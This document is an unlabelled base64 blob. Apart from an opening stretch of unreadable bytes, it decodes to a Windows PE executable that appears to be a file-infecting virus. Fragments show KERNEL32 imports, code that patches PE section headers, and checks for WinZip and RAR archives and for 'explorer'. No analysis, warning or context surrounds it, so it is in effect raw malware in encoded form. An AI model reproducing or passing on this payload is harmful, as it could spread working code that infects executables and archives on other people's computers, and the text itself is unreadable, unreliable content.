uGCQaMryQIjo+JDy6IiA6NhgUPOg+HD4gNho2PKQ+GhoyvJo2DA48nC46FBYYNho8/Pz82k4 mPiAUNjo85no+MDY2PPBmmnY6Fhg2PNpiHCwiGjzUWDYgNCYuOhgiPOp+Ghw2GBoqDjz8/Pz wWCImCLy81GIIvLzaVjgoNjoUCLy8/PzUbDY8sCIkJCISLiAyPKY+LiQ8uj4gMpQ8uDY8mjY gFDyUIjy2mgi81Gw2PL4UFD46LCY2IBQ81Gw2PLAuJDY8/K4aPJQsNjyiGC4yLiA+JDymPi4 kPPyyLhA2PI4iFjyULDY8tpo8/K4aPL48tpo8tD4gMjYYIhYaPJAuGBYaPJQsPhQ8tpo8+j4 gPK4gMDY6FDyiIDySbiAOjKKmdiKYnJycooxcYLzaHBg2PjQ8lCwYIhYyLDy2Jj4uJCC80DY YDjy82hw2Oi4+JDy87BQUHAiiorzSEhIgvOC6IiY88GIYPKYiGDY8riAwIhgmPhQuIiAknCQ 2Pho2PJAuGi4UPLzUbC4aPK4aPLzufLaaPI4iFjySIhYkNDy2mjyuFCC89iAoIg485C4qNjz SLhosPOwiHDY89gwcNjoUPPz6bBguGhQmPho84HYSPI42Phg82n4uIBQ8kH4kNiAULiA2Mpo 8tH4OPP5kJCw+JCQiEiY+Gjz+XBguJDywYiIkGjK8tH4OPOR+NA48tH4OPP5aGhYmHBQuIiA 8+n4gNCQ2Jj4aPP5kJDyaYhYkGjK0fg489lwuHCw+IA48/Pz8/Ox+HBwOPLzsfhA2PL48vPz EuBgApuj85uj83CIaFCY+GhQ2GDz8/NJuICo8/O5mPjI2HH4ULDzmbmZ2ZpB2GBouIiAIvJ6 gnKbo+mIgFDYgFCaUThw2CLymFiQULhw+GBQiviQUNhggPhQuEDYKpuju+CIWIDQ+GA4GvPp iIBQ2IBQmlE4cNgi8lDYMFCKsFCYkCqbo+mIgFDYgFCaUWD4gGjA2GCa2YDoiNC4gMgi8nhY iFDY0JpwYLiAUPjgkNibo5ujErFRmZECErHZ+dECEoqx2fnRAhLhidE5Atpom6MSwYmBUQLz 8xKKwYmBUQISiuGJ0TkCEoqxUZmRAvPz8+mIgFDYgFCaUThw2CLy2mgqm6O7gPiY2BraaJuj 6YiAUNiAUJpRYPiAaMDYYJrZgOiI0LiAyCLy4Pho2EJSm6PpiIBQ2IBQmrnRIvIS2mgC8/Pz 8/Pz8/Pz8/hY0LiIijCaSPhA8/hY0LiIijCamLjQuPP4cHCQuOj4ULiIgIqI6FDYUJpoUGDY +Jjz8/Pz8/Pz8/OboxK4wGD4mNjyaGDoGmrR6LjQItpo8rDYuMiwUBpq0XLySLjQULAaatFy ApujEoq4wGD4mNgC81GwuGjyyPiY2PK4aPKYOPLAuGBoUPJIiGCoghLgYAKbozmIWMpg2PJQ sNjywLhgaFDycJD4ONhggvOJuel583FgiMhg+JjBuJDYaNG4YPPz8/NomFBwgvMJ+UFxamLz CflBcenp84GJ0Wpi84FxaWlB6fOBYdlpeWpi84Fp6bHZ0Wpi84Fp6bHZ0YFR84FpcZFZybmB 84H5QfOB+UH5cWlB6fOB+UH5cUlqYvOB+UGRWWpi84H5QWFZgWHzgflBSWpi8wn5QXGZ8/mR 2WFRaUHp8/mZiYHz+UFxamLz+UFx6enz+UFxmfOBamJp6fmBSfOB+UFJgVHz+YFRuUG5YfP5 QXFZcdHz+UHJ6VFhkfP5QUm5gTpa82np+YFqYvNBabFJuYFqYvPBmmlRiXFJ88GacWGJUTpa 8/npqUm5gWpi80HZUVFh+TnzQdlROlrzaUnZ2XE6WvNx6elJuYE6MvO5iZmJgToy8/lBcVHp 8/lB2Wpi8/lB6YmBaYmR88Fxmkm5gfPRQXE6WvPBmvnJgVE6WvPpkflJOlrzgUHpOlrzaen5 gfNBuWFZafORiemp0YlJgWJycnLzgYhgUIiA85no+MDY2PP5gFC4QLhg81H5aamZyWHz8/Pz 8/Pz8/Pz8/Pz8/Pz8/Pz+YFRuZpBuWGC0flR8+mxqZG5aVGC0flR8+mxqZG5aVGCmWnz6bGp kblpUYLpcWnz6bGpkblpUYJR+UHzuUHhgoFRIfNpmflhUemxqYKZafNpmflhUemxqYLpcWnz +UHJeVGC0flR8/nJWflh0YLR+VHz8/Pz8/PzabCQSPhwuILQkJDzqdhggNiQamKC0JCQ84DY UPhwuGpigtCQkPNowOiC0JCQ8/Pz8/NpuGDo+JjzgbiY0Pjz6YjQ2GHY0PNJeamZmWoySjLz yWG52cFqMkoy88FYgPKRiEC4gMjy6WC4mLiA+JDzgYhgUIiA85no+MDY2PP5gFC4QLhg8/lA 6IiAaIiQ88GaaVGJcUnzwZpp2OhYYNjzaYhwsIho80C4YFho8/lBcfKZiIC4UIhg8/lBcfJZ cND4UNho87mAiOhYkPhQ2LlR83Hpmui4kJC4gPNpOJj4gFDY6PNRYNiA0PKZuOhgiPPBmnFh iVHz8oGJ0Wpi8vPz82HYyLhoUNhgadhgQLjo2HFgiOjYaGjzgdhQabD4YNj50NDzabHR2JDY UNip2Dj582nA6LlowbiQ2HFgiFDY6FDY0POB2FBpsPhg2MnYULmAwIjzgdhQ+XC44VjAwNhg wWDY2PPz8/Pz2TFxkYlh2WHz6ZmZyWHzmGi4mIDzuOhI6IiAgPNIuIAguHDz8/Pz83FgiMhg +Jjz2mjyEtpoAvP54enR2cHJsbmhqZGZgYlxeWFpUVlBSTE5Ifjg6NDYwMiwuKCokJiAiHB4 YGhQWEBIMDggcnpialJaQkoyOqqK82jYUFhw87iAaFD4kJDz0NiYiPNogIiIcDjzcLjo+OhY 86i4UFA483CQ+DjzYIjoqPPz8/Pz8/PzYfhg+iPL8413aPPzm/Pz8/Pz8/Pz84Jg+GDz80i4 gLiA2FCC0JCQ87mAUNhggNhQydhQ6YiAgNjoUNjQaVD4UNjz8/PRuGDY6FCIYDjz0JCQ6Pjo sNjz82nY0djgWMhxYLhAuJDYyNjzadhR6OBxYLhAuJDYyNjz8/Pz8/Pz8/NI4Jqg+HD4gILo iIKgcPNA2GC4IIiAgoDYUPP4YHhYuGDY0ILYaPPQuMD46ILoiJjz82mIwFBI+GDYEZm46GCI aIjAUBG5gFDYYIDYUPL56OiIWIBQ8pn4gPjI2GAR+ejoiFiAUGgR82mZUXHyadhgQNhg82mZ UXHy2Zj4uJDy+dDQYNhoaPPzSYhgmPKpkNgggtnyuJiYWIC4UDjz86mQ2CCC2fK4aPJQsNjy mIhoUPLoiJiYiIDySIhgkNCaSLjQ2PJocGDY+NC4gMjySIhgmIK5UMpo8kDYYDjy0PiAyNhg iFho8uA48uiIYGBYcFC4gMjyOIhYYPLAuJDYaIIS4GACm6Ph2Oj4WGjY8ojA8rhQaPJA2GA4 8miY+GBQ8mhQ2PiQULDy+IDQ8viAULia+IBQuJpAuGBYaPJQ2OiwgLjokpiIaFDy6IiYmIiA 8vlB8miIwFBI+GDY8uj4gMpQ8tDYUNjoUPKIYPLokNj4gPK4UIIS4GACm6NJ2PLQ2EDYkIhw 2NDyULC4aPLAYNjY8riYmFiAuFA48lCIiJDyUIjy0NjA2PhQ8lCw2PKY+JC46LiIWGjyQLhg WGiCEuBgApujOYhY8oiAkDjygNjY0PJQiPJgWIDyULC4aPJQiIiQ8oiA6NiS+IDQ8lCw2IDy qZDYIPJIuJCQ8oDYQNhg8uiImNjyuIBQiPI4iFhg8nHpghLgYAKbo4GJUdki8uHY6PhYaNjy ULC4aPJQiIiQ8vjoUGjy+Gjy+PLA+KjY8qmQ2CDyUIjywIiIkPJQsNjyYNj4kPJIiGCYkmiI mNjy+UHymIiAuFCIYPKY+Djg2PLoYDjySLDYgPI4iFjyYFiA8rhQghLgYAKbo7nA8miIkrnI gIhg2PJQsNjySPhggLiAyJL4gNDyaNiQ2OhQ8sroiIBQuIBY2MqCEuBgApujucDyOIhY8rD4 QNjy+IA48nhY2GhQuIiAknCQ2Pho2PIS+PKwYNjAGmrRmPi4kFCIItpoApj4uJDyUIjymNgS ivgCgvPz8/Pz8/Pzm6NJuIBqYvKpkNgg8kFignJ68sLySbiAamLywYhgiFgw8kF6gnKbo+mI cDhguMiwUPJicnJikpj40NjyuIDy+Wi4+Juj+eCIWFDyqZDYIPJBYoJyeiKbo7t6kpn4uIDy mLhoaLiIgPK4aPJQiPJg2JDY+GjY8lCw2PKA2Ejy4PjgOPJx2fJAuGBYaJJJuIBqYvLBiGCI WDCbo7tikoGI8mi4yIC4wLjo+IBQ8uiw+IDI2IKBiPLgWMjywLgw2NCCgYjy+IA48nD4OJCI +NCCm6P54IhYUPJJuIBqYvLBiGCIWDDysnCQIPKo2Nhw8lCw2PKA+JjYklCw+IAwupuju3qS wViQkPLoiJhw+FC44JDY8km4gGpi8nHZ8kC4YFho8oiA8km4gDoximKpioFRijFxm6O7YpJJ uFCw8kDYYDjyuIBQ2GDYaFC4gMjywNj4UFhg2ILpsNjoqPK4UPqbo7tqkoGI8viAOPJw+DiQ iPjQgoGI8viAOPKIcFC4mLgg+FC4iICbo7tSkoGIUPLgWMjywGDY2JLg2Oj4WGjY8ojA8vjy sFhgYDjySIhgqIKBiPKYiGDY8lCw+IDyULBg2NjySNjYqGjywGCImPKw+EC4gMjyaFjosPK4 0Nj48lCI8vjo6IiYcJC4aLC4gMjy6IjQuIDI8viA0PJQ2GhQuIDIm6PzAAABAAAAEAAAAB0A AAAgAAAAeAAAAIgAAAB1AQAADAAAAIUBAAAcAAAApQEAAFMAAAAOAgAADgAAADYCAAAOAAAA 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 AQAAAAAAAAAAAAAAAAAAAEqiQAACAAAAAQIECAAAAACkAwAAYIJ5giEAAAAAAAAApt8AAAAA AAChpQAAAAAAAIGf4PwAAAAAQH6A/AAAAACoAwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAIH+AAAAAAAAQP4AAAAAAAC1AwAAwaPaoyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIH+ AAAAAAAAQf4AAAAAAAC2AwAAz6LkohoA5aLoolsAAAAAAAAAAAAAAAAAAAAAAIH+AAAAAAAA QH6h/gAAAABRBQAAUdpe2iAAX9pq2jIAAAAAAAAAAAAAAAAAAAAAAIHT2N7g+QAAMX6B/gAA AAAaKkEAGipBAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAA IAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAA hACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEAgQCBAAEAAQABAAEA AQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACCAIIAggCCAIIA ggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAAEAAgAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAANzS QADM0kAAIAktDV0AAABdAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAA AAAAAI0AAMAIAAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEA AMAIAAAAAAAAAJIAAMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAACgAAAIwAAAD///// AAoAABAAAAAgBZMZAAAAAAAAAAAAAAAAAAAAAAIAAABI1UAACAAAABzVQAAJAAAA8NRAAAoA AADM1EAAEAAAAKDUQAARAAAAcNRAABIAAABM1EAAEwAAACDUQAAYAAAA6NNAABkAAADA00AA GgAAAIjTQAAbAAAAUNNAABwAAAAo00AAeAAAABjTQAB5AAAACNNAAHoAAAD40kAA/AAAAPTS QAD/AAAA5NJAAAAAAAAAAAAAADtJAAAAAAAAO0kAAQEAAAAAAAAAAAAAABAAAAAAAAAAAAAA AAAAAAAAAAACAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAACAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAACHEQAAhxEAAIcRAACHEQAAhxEAAIcRAAAAAAAAAAAAA+AMAAAAAAAAAAAAA AAAAAAEAAAAWAAAAAgAAAAIAAAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcA AAAMAAAACAAAAAwAAAAJAAAADAAAAAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAA DwAAAAIAAAAQAAAADQAAABEAAAASAAAAEgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0A AABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABTAAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAA DQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYAAAAWAAAAgAAAAAoAAACBAAAACgAAAIIA AAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAAAA0AAAChAAAAAgAAAKQAAAALAAAA pwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAADAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 